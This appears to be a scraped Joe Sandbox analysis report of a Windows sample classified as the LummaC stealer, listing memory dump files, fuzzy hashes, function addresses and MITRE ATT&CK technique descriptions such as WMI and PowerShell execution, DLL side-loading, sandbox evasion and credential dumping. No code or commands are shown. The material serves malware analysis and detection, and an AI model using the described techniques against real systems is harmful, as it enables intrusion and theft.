Associated: 00000000.00000002.1761166396.0000000000FBA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761182408.0000000000FBD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761199937.0000000000FC8000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761440755.00000000012C8000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761801169.00000000018E5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d6f3f33841eb9508db392cb4ef9b1ad368a5f68f968eb6f9ecf0baec108efc09
Instruction ID: 9caba24db3d8f4d19f394484e327bfd22a3b5a4b9940ad1aa278cd2cd117ac76
Opcode Fuzzy Hash: d6f3f33841eb9508db392cb4ef9b1ad368a5f68f968eb6f9ecf0baec108efc09
Instruction Fuzzy Hash: CDE0DF90B245864F835D8E28D8B0336B3A26B8330172CC108C48347242D621C861EA40

Uniqueness

Uniqueness Score: -1.00%

Function 00F8D2A0 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1761141354.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.1761122584.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761166396.0000000000FBA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761182408.0000000000FBD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761199937.0000000000FC8000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761440755.00000000012C8000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761801169.00000000018E5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ae9cf52e3d41c581a170ec7cf48180e445a84ed293e19ee7d78fcac670432e06
Instruction ID: 252c2c22cbd6541a08245e6737983212445c366fdefe0e5e3f9f504498951ea7
Opcode Fuzzy Hash: ae9cf52e3d41c581a170ec7cf48180e445a84ed293e19ee7d78fcac670432e06
Instruction Fuzzy Hash: 12D0A7619497A10E9759CE3804A08B7FBE8ED47772B18149EE4D1F7145D220DC015798

Uniqueness

Uniqueness Score: -1.00%

Function 00FB7499 Relevance: .0, Instructions: 10COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1761141354.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.1761122584.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761166396.0000000000FBA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761182408.0000000000FBD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761199937.0000000000FC8000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761440755.00000000012C8000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761801169.00000000018E5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b92a2d3e8d405b57e2bd5a0cf05fef773636c146644ae9908fa93085ef2616a9
Instruction ID: 404bb642c67fbbd79e8df1df897721ac61898d44eb7be44526390ab696398d54
Opcode Fuzzy Hash: b92a2d3e8d405b57e2bd5a0cf05fef773636c146644ae9908fa93085ef2616a9
Instruction Fuzzy Hash: 4FB09234AE8904878A48CF04EA528B3F2BAA707A04B443818941BE72A1C510F850A95C

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Authenticode Signature

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Possible Origin

Network Behavior

Snort IDS Alerts

Network Port Distribution

Windows Analysis Report
file.exe

Function 00F89970 Relevance: 7.9, Strings: 6, Instructions: 420
COMMON

Function 00FA4FB4 Relevance: 7.6, APIs: 2, Strings: 2, Instructions: 620
COMMON

Function 00FA5082 Relevance: 7.6, APIs: 2, Strings: 2, Instructions: 573
COMMON

Function 00FA4AAE Relevance: 7.6, APIs: 2, Strings: 2, Instructions: 572
COMMON

Function 00F849B0 Relevance: 5.5, Strings: 4, Instructions: 486
COMMON

Function 00FA0D80 Relevance: 3.0, Strings: 2, Instructions: 519
COMMON

Function 00FA0DF0 Relevance: 3.0, Strings: 2, Instructions: 486
COMMON

Function 00FB1B85 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 29
COMMON

Function 00FB5242 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 54
libraryCOMMON

Function 00FB5314 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 46
libraryCOMMON

Function 00F88EC0 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 37
COMMON